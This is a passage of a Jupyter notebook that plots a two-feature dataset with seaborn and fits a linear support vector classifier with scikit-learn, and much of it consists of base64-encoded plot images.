3r\n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\n/0Gh8We93Jw3AAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0xe58cb5ee48>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "sns.lmplot(x=\"first\",y= \"second\",data=df, hue=\"out\", fit_reg=False, size= 8, scatter_kws={'s':80})" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Model Computing" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "SVC(C=100, cache_size=200, class_weight=None, coef0=0.0,\n", " decision_function_shape=None, degree=3, gamma='auto', kernel='linear',\n", " max_iter=-1, probability=False, random_state=None, shrinking=True,\n", " tol=0.001, verbose=False)" ] }, "execution_count": 9, "metadata": {}, "output_type": "execute_result" } ], "source": [ "clf = svm.SVC(C=100, kernel=\"linear\", tol=1e-3)\n", "clf.fit(X_bias, y)" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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\nr2MCA